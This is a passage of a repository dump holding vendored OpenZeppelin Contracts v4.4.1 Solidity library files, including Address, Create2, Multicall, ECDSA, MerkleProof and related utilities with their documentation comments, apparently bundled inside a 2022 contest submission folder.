== Hooks
{{IERC777Sender}}
{{IERC777Recipient}}
== Presets
These contracts are preconfigured combinations of features. They can be used through inheritance or as models to copy and paste their source code.
{{ERC777PresetFixedSupply}}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC777/presets/ERC777PresetFixedSupply.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC777/presets/ERC777PresetFixedSupply.sol)
pragma solidity ^0.8.0;
import "../ERC777.sol";
/**
* @dev {ERC777} token, including:
*
* - Preminted initial supply
* - No access control mechanism (for minting/pausing) and hence no governance
*
* _Available since v3.4._
*/
contract ERC777PresetFixedSupply is ERC777 {
/**
* @dev Mints `initialSupply` amount of token and transfers them to `owner`.
*
* See {ERC777-constructor}.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators,
uint256 initialSupply,
address owner
) ERC777(name, symbol, defaultOperators) {
_mint(owner, initialSupply, "", "");
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/Address.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/Arrays.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Arrays.sol)
pragma solidity ^0.8.0;
import "./math/Math.sol";
/**
* @dev Collection of functions related to array types.
*/
library Arrays {
/**
* @dev Searches a sorted `array` and returns the first index that contains
* a value greater or equal to `element`. If no such index exists (i.e. all
* values in the array are strictly less than `element`), the array length is
* returned. Time complexity O(log n).
*
* `array` is expected to be sorted in ascending order, and to contain no
* repeated elements.
*/
function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {
if (array.length == 0) {
return 0;
}
uint256 low = 0;
uint256 high = array.length;
while (low < high) {
uint256 mid = Math.average(low, high);
// Note that mid will always be strictly less than high (i.e. it will be a valid array index)
// because Math.average rounds down (it does integer division with truncation).
if (array[mid] > element) {
high = mid;
} else {
low = mid + 1;
}
}
// At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.
if (low > 0 && array[low - 1] == element) {
return low - 1;
} else {
return low;
}
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/Context.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/Counters.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/Create2.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Create2.sol)
pragma solidity ^0.8.0;
/**
* @dev Helper to make usage of the `CREATE2` EVM opcode easier and safer.
* `CREATE2` can be used to compute in advance the address where a smart
* contract will be deployed, which allows for interesting new mechanisms known
* as 'counterfactual interactions'.
*
* See the https://eips.ethereum.org/EIPS/eip-1014#motivation[EIP] for more
* information.
*/
library Create2 {
/**
* @dev Deploys a contract using `CREATE2`. The address where the contract
* will be deployed can be known in advance via {computeAddress}.
*
* The bytecode for a contract can be obtained from Solidity with
* `type(contractName).creationCode`.
*
* Requirements:
*
* - `bytecode` must not be empty.
* - `salt` must have not been used for `bytecode` already.
* - the factory must have a balance of at least `amount`.
* - if `amount` is non-zero, `bytecode` must have a `payable` constructor.
*/
function deploy(
uint256 amount,
bytes32 salt,
bytes memory bytecode
) internal returns (address) {
address addr;
require(address(this).balance >= amount, "Create2: insufficient balance");
require(bytecode.length != 0, "Create2: bytecode length is zero");
assembly {
addr := create2(amount, add(bytecode, 0x20), mload(bytecode), salt)
}
require(addr != address(0), "Create2: Failed on deploy");
return addr;
}
/**
* @dev Returns the address where a contract will be stored if deployed via {deploy}. Any change in the
* `bytecodeHash` or `salt` will result in a new destination address.
*/
function computeAddress(bytes32 salt, bytes32 bytecodeHash) internal view returns (address) {
return computeAddress(salt, bytecodeHash, address(this));
}
/**
* @dev Returns the address where a contract will be stored if deployed via {deploy} from a contract located at
* `deployer`. If `deployer` is this contract's address, returns the same value as {computeAddress}.
*/
function computeAddress(
bytes32 salt,
bytes32 bytecodeHash,
address deployer
) internal pure returns (address) {
bytes32 _data = keccak256(abi.encodePacked(bytes1(0xff), deployer, salt, bytecodeHash));
return address(uint160(uint256(_data)));
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/Multicall.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Multicall.sol)
pragma solidity ^0.8.0;
import "./Address.sol";
/**
* @dev Provides a function to batch together multiple calls in a single external call.
*
* _Available since v4.1._
*/
abstract contract Multicall {
/**
* @dev Receives and executes a batch of function calls on this contract.
*/
function multicall(bytes[] calldata data) external returns (bytes[] memory results) {
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
results[i] = Address.functionDelegateCall(address(this), data[i]);
}
return results;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/README.adoc
================================================
= Utilities
[.readme-notice]
NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/utils
Miscellaneous contracts and libraries containing utility functions you can use to improve security, work with new data types, or safely use low-level primitives.
The {Address}, {Arrays} and {Strings} libraries provide more operations related to these native data types, while {SafeCast} adds ways to safely convert between the different signed and unsigned numeric types.
{Multicall} provides a function to batch together multiple calls in a single external call.
For new data types:
* {Counters}: a simple way to get a counter that can only be incremented, decremented or reset. Very useful for ID generation, counting contract activity, among others.
* {EnumerableMap}: like Solidity's https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] type, but with key-value _enumeration_: this will let you know how many entries a mapping has, and iterate over them (which is not possible with `mapping`).
* {EnumerableSet}: like {EnumerableMap}, but for https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets]. Can be used to store privileged accounts, issued IDs, etc.
[NOTE]
====
Because Solidity does not support generic types, {EnumerableMap} and {EnumerableSet} are specialized to a limited number of key-value types.
As of v3.0, {EnumerableMap} supports `uint256 -> address` (`UintToAddressMap`), and {EnumerableSet} supports `address` and `uint256` (`AddressSet` and `UintSet`).
====
Finally, {Create2} contains all necessary utilities to safely use the https://blog.openzeppelin.com/getting-the-most-out-of-create2/[`CREATE2` EVM opcode], without having to deal with low-level assembly.
== Math
{{Math}}
{{SafeCast}}
{{SafeMath}}
{{SignedSafeMath}}
== Cryptography
{{ECDSA}}
{{SignatureChecker}}
{{MerkleProof}}
{{EIP712}}
== Escrow
{{ConditionalEscrow}}
{{Escrow}}
{{RefundEscrow}}
== Introspection
This set of interfaces and contracts deal with https://en.wikipedia.org/wiki/Type_introspection[type introspection] of contracts, that is, examining which functions can be called on them. This is usually referred to as a contract's _interface_.
Ethereum contracts have no native concept of an interface, so applications must usually simply trust they are not making an incorrect call. For trusted setups this is a non-issue, but often unknown and untrusted third-party addresses need to be interacted with. There may even not be any direct calls to them! (e.g. `ERC20` tokens may be sent to a contract that lacks a way to transfer them out of it, locking them forever). In these cases, a contract _declaring_ its interface can be very helpful in preventing errors.
There are two main ways to approach this.
* Locally, where a contract implements `IERC165` and declares an interface, and a second one queries it directly via `ERC165Checker`.
* Globally, where a global and unique registry (`IERC1820Registry`) is used to register implementers of a certain interface (`IERC1820Implementer`). It is then the registry that is queried, which allows for more complex setups, like contracts implementing interfaces for externally-owned accounts.
Note that, in all cases, accounts simply _declare_ their interfaces, but they are not required to actually implement them. This mechanism can therefore be used to both prevent errors and allow for complex interactions (see `ERC777`), but it must not be relied on for security.
{{IERC165}}
{{ERC165}}
{{ERC165Storage}}
{{ERC165Checker}}
{{IERC1820Registry}}
{{IERC1820Implementer}}
{{ERC1820Implementer}}
== Data Structures
{{BitMaps}}
{{EnumerableMap}}
{{EnumerableSet}}
== Libraries
{{Create2}}
{{Address}}
{{Arrays}}
{{Counters}}
{{Strings}}
{{StorageSlot}}
{{Multicall}}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/StorageSlot.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/Strings.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/Timers.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Timers.sol)
pragma solidity ^0.8.0;
/**
* @dev Tooling for timepoints, timers and delays
*/
library Timers {
struct Timestamp {
uint64 _deadline;
}
function getDeadline(Timestamp memory timer) internal pure returns (uint64) {
return timer._deadline;
}
function setDeadline(Timestamp storage timer, uint64 timestamp) internal {
timer._deadline = timestamp;
}
function reset(Timestamp storage timer) internal {
timer._deadline = 0;
}
function isUnset(Timestamp memory timer) internal pure returns (bool) {
return timer._deadline == 0;
}
function isStarted(Timestamp memory timer) internal pure returns (bool) {
return timer._deadline > 0;
}
function isPending(Timestamp memory timer) internal view returns (bool) {
return timer._deadline > block.timestamp;
}
function isExpired(Timestamp memory timer) internal view returns (bool) {
return isStarted(timer) && timer._deadline <= block.timestamp;
}
struct BlockNumber {
uint64 _deadline;
}
function getDeadline(BlockNumber memory timer) internal pure returns (uint64) {
return timer._deadline;
}
function setDeadline(BlockNumber storage timer, uint64 timestamp) internal {
timer._deadline = timestamp;
}
function reset(BlockNumber storage timer) internal {
timer._deadline = 0;
}
function isUnset(BlockNumber memory timer) internal pure returns (bool) {
return timer._deadline == 0;
}
function isStarted(BlockNumber memory timer) internal pure returns (bool) {
return timer._deadline > 0;
}
function isPending(BlockNumber memory timer) internal view returns (bool) {
return timer._deadline > block.number;
}
function isExpired(BlockNumber memory timer) internal view returns (bool) {
return isStarted(timer) && timer._deadline <= block.number;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/cryptography/ECDSA.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
import "../Strings.sol";
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/cryptography/MerkleProof.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/cryptography/SignatureChecker.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/SignatureChecker.sol)
pragma solidity ^0.8.0;
import "./ECDSA.sol";
import "../Address.sol";
import "../../interfaces/IERC1271.sol";
/**
* @dev Signature verification helper: Provide a single mechanism to verify both private-key (EOA) ECDSA signature and
* ERC1271 contract signatures. Using this instead of ECDSA.recover in your contract will make them compatible with
* smart contract wallets such as Argent and Gnosis.
*
* Note: unlike ECDSA signatures, contract signature's are revocable, and the outcome of this function can thus change
* through time. It could return true at block N and false at block N+1 (or the opposite).
*
* _Available since v4.1._
*/
library SignatureChecker {
function isValidSignatureNow(
address signer,
bytes32 hash,
bytes memory signature
) internal view returns (bool) {
(address recovered, ECDSA.RecoverError error) = ECDSA.tryRecover(hash, signature);
if (error == ECDSA.RecoverError.NoError && recovered == signer) {
return true;
}
(bool success, bytes memory result) = signer.staticcall(
abi.encodeWithSelector(IERC1271.isValidSignature.selector, hash, signature)
);
return (success && result.length == 32 && abi.decode(result, (bytes4)) == IERC1271.isValidSignature.selector);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/cryptography/draft-EIP712.sol
